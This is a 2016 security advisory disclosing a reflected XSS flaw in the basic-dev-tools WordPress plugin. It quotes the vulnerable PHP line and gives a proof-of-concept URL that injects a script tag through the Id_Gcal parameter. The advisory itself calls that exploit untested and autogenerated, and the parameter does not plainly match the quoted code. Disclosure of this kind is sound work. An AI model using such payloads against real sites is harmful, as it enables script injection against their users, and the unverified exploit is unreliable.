Advisory #: 43
Title: Reflected XSS in wordpress plugin basic-dev-tools v1.4.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/basic-dev-tools
Downloads: 156
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: basic-dev-tools
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./basic-dev-tools/includes/tableobject/templates/generic_form.php: 7: <input type="hidden" name="id" value="<?php if(isset($_GET[$this->instance_name.'id'])) echo $_GET[$this->instance_name.'id'];?>"> The variable Id_Gcal appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./basic-dev-tools/includes/tableobject/templates/generic_form.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/basic-dev-tools/includes/tableobject/templates/generic_form.php?Id_Gcal="><script>alert(1);</script><"